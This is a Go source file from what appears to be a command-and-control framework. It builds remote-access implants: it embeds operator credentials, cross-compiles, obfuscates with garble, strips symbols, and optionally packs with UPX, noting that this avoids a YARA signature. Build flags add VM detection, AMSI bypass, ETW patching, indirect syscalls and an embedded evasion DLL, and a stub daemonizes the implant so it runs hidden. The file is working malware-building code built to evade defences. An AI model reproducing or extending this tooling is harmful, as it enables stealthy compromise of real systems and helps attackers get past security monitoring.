// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
// cross-compiles via Go or garble, and optionally compresses with UPX.
package core

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"crypto/rand"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/peer"

	"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
)

// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
type GenerateConfig struct {
	PubKeyPath string
	OutputPath string
	TargetOS   string
	TargetArch string
	UseUPX     bool
	Obfuscate  bool
	Quiet      bool
	Antivm     bool
	Evasion    bool
}

// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
func RunGenerate(args []string) error {
	cfg := GenerateConfig{
		PubKeyPath: defaultPubKeyPath(),
		OutputPath: "necropolis-implant",
		TargetOS:   "linux",
		TargetArch: "amd64",
	}

	fs := flag.NewFlagSet("generate", flag.ExitOnError)
	fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
	fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
	fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
	fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
	fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
	fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
	fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
	fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
	fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
	fs.Parse(args)

	return BuildImplant(cfg)
}

// BuildImplant reads the operator's public key and box key, generates a fresh implant
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
// (optionally through garble), optionally strips symbols and compresses with UPX.
func BuildImplant(cfg GenerateConfig) error {
	pubData, err := os.ReadFile(cfg.PubKeyPath)
	if err != nil {
		return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
	}

	necropolisDir := filepath.Dir(cfg.PubKeyPath)
	boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
	if len(boxPubData) != 32 {
		return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
	}
	authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
	if err != nil || len(authTokenData) != 32 {
		return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
	}

	log.Printf("[+] generating implant keypair...")
	implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
	if err != nil {
		return fmt.Errorf("generate implant key: %w", err)
	}
	privBytes, err := crypto.MarshalPrivateKey(implantPriv)
	if err != nil {
		return fmt.Errorf("marshal implant private key: %w", err)
	}
	implantPeerID, _ := peer.IDFromPublicKey(implantPub)
	log.Printf("[*] PeerID: %s", implantPeerID.String())

	log.Printf("[+] embedding credentials...")
	buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
	if err != nil {
		return fmt.Errorf("prepare build directory: %w", err)
	}
	defer os.RemoveAll(buildDir)

	outPath := cfg.OutputPath
	if !filepath.IsAbs(outPath) {
		wd, _ := os.Getwd()
		outPath = filepath.Join(wd, outPath)
	}
	if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
		outPath += ".exe"
	}

	_, err = ensureGo()
	if err != nil {
		return fmt.Errorf("go not available: %w", err)
	}

	goBin := findGo()

	ldflags := "-s -w -buildid="
	if cfg.Quiet && cfg.TargetOS == "windows" {
		ldflags += " -H=windowsgui"
	}

	var builder string
	var buildArgs []string
	buildPath := os.Getenv("PATH")
	if cfg.Obfuscate {
		garble, err := ensureGarble(goBin)
		if err != nil {
			return fmt.Errorf("garble not available: %w", err)
		}
		if _, err := exec.LookPath("git"); err != nil {
			log.Print("git not found. Attempting to install...")
			gitBin, err := installGit()
			if err != nil {
				return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
			}
			gitDir := filepath.Dir(gitBin)
			if !strings.Contains(buildPath, gitDir) {
				buildPath = gitDir + string(os.PathListSeparator) + buildPath
			}
		}
		builder = garble
		buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
		// build from project root so GOGARBLE scopes to our packages.
		// Temp dir breaks import path resolution needed for obfuscation filtering.
		wd, _ := os.Getwd()
		restore := backupStubs(filepath.Join("implant", "core"))
		defer restore()
		writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
		buildDir = wd
		log.Printf("[+] obfuscation: garble -literals -tiny")
	} else {
		builder = goBin
		buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
	}

	if cfg.Antivm {
		buildArgs = append(buildArgs, "-tags=antivm")
	}
	if cfg.Evasion {
		buildArgs = append(buildArgs, "-tags=evasion")
		log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
		log.Printf("[+] embedding my lillll ahh valak.dll ;)")
	}
	buildArgs = append(buildArgs, "./implant/")

	cmd := exec.Command(builder, buildArgs...)
	goDir := filepath.Dir(goBin)
	if !strings.Contains(buildPath, goDir) {
		buildPath = goDir + string(os.PathListSeparator) + buildPath
	}

	env := []string{
		"GOOS=" + cfg.TargetOS,
		"GOARCH=" + cfg.TargetArch,
		"CGO_ENABLED=0",
		"PATH=" + buildPath,
		"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
	}
	cmd.Env = append(os.Environ(), env...)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Dir = buildDir

	log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("build: %w", err)
	}
	if fi, err := os.Stat(outPath); err == nil {
		log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
	}

	// strip for Linux/macOS to remove any remaining symbol tables
	if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
		stripCmd := exec.Command("strip", "-s", outPath)
		_ = stripCmd.Run()
	}

	if cfg.UseUPX {
		if upxPath, err := exec.LookPath("upx"); err == nil {
			log.Printf("applying UPX compression...")
			upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
			upx.Stdout = os.Stdout
			upx.Stderr = os.Stderr
			if err := upx.Run(); err != nil {
				log.Printf("upx compression skipped: %v", err)
			}
		} else {
			log.Printf("upx not found, skipping compression")
		}
	}

	return nil
}

// prepareBuildDir creates a temp directory with the implant source, embedded operator
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
	dir, err := os.MkdirTemp("", "necropolis-build-*")
	if err != nil {
		return "", fmt.Errorf("create temp dir: %w", err)
	}

	pubLiteral := bytesLiteral(pubKeyData)
	boxPubLiteral := bytesLiteral(boxPubKeyData)
	privLiteral := bytesLiteral(privKeyData)
	authLiteral := bytesLiteral(authTokenData)
	pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedOperatorPubKey = %s
`, pubLiteral)
	boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
	keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedImplantPrivKey = %s
`, privLiteral)
	authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedAuthToken = %s
`, authLiteral)

	if err := extractEmbeddedSource(dir); err != nil {
		return "", err
	}

	// Rename go.mod.txt/go.sum.txt back to real names
	os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
	os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))

	coreDir := filepath.Join(dir, "implant", "core")
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
	}

	if quiet {
		if err := writeQuietStub(coreDir); err != nil {
			return "", fmt.Errorf("write quiet stub: %w", err)
		}
	}

	return dir, nil
}

// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
// the process (non-Windows only).
func writeQuietStub(coreDir string) error {
	quietContent := `//go:build !windows

package core

import (
	"os"
	"syscall"
)

func init() {
		if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
		return
	}

	f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
	if err != nil {
		os.Exit(1)
	}

	attr := &os.ProcAttr{
		Files: []*os.File{f, f, f},
		Env:   append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
		Sys:   &syscall.SysProcAttr{Setsid: true},
	}

	proc, err := os.StartProcess(os.Args[0], os.Args, attr)
	if err != nil {
		os.Exit(1)
	}
	proc.Release()
	os.Exit(0)
}
`
	return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
}

// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
func extractEmbeddedSource(dst string) error {
	gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
	if err != nil {
		return fmt.Errorf("gzip reader: %w", err)
	}
	defer gz.Close()

	tr := tar.NewReader(gz)
	for {
		hdr, err := tr.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			return fmt.Errorf("tar next: %w", err)
		}

		target := filepath.Join(dst, hdr.Name)
		switch hdr.Typeflag {
		case tar.TypeDir:
			if err := os.MkdirAll(target, 0755); err != nil {
				return err
			}
		case tar.TypeReg:
			if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
				return err
			}
			f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
			if err != nil {
				return err
			}
			if _, err := io.Copy(f, tr); err != nil {
				f.Close()
				return err
			}
			f.Close()
		}
	}
	return nil
}

// defaultPubKeyPath returns ~/.necropolis/operator.pub.
func defaultPubKeyPath() string {
	home, err := os.UserHomeDir()
	if err != nil {
		return "operator.pub"
	}
	return filepath.Join(home, ".necropolis", "operator.pub")
}

// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
// and searches GOPATH/bin as a fallback.
func ensureGarble(goBin string) (string, error) {
	if p, err := exec.LookPath("garble"); err == nil {
		return p, nil
	}
	log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
	cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
	cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	if err := cmd.Run(); err != nil {
		return "", fmt.Errorf("install garble: %w", err)
	}

	if p, err := exec.LookPath("garble"); err == nil {
		return p, nil
	}

	// go install puts binaries in GOPATH/bin — check each entry
	gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
	gopath := strings.TrimSpace(string(gopathOut))
	if gopath != "" {
		for _, p := range filepath.SplitList(gopath) {
			for _, name := range []string{"garble", "garble.exe"} {
				candidate := filepath.Join(p, "bin", name)
				if fileExists(candidate) {
					log.Print("garble installed")
					return candidate, nil
				}
			}
		}
	}

	return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
}

// fileExists returns true if the path exists on disk.
func fileExists(path string) bool {
	_, err := os.Stat(path)
	return err == nil
}

// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
func bytesLiteral(data []byte) string {
	var parts []string
	for _, b := range data {
		parts = append(parts, fmt.Sprintf("%d", b))
	}
	return "[]byte{" + strings.Join(parts, ",") + "}"
}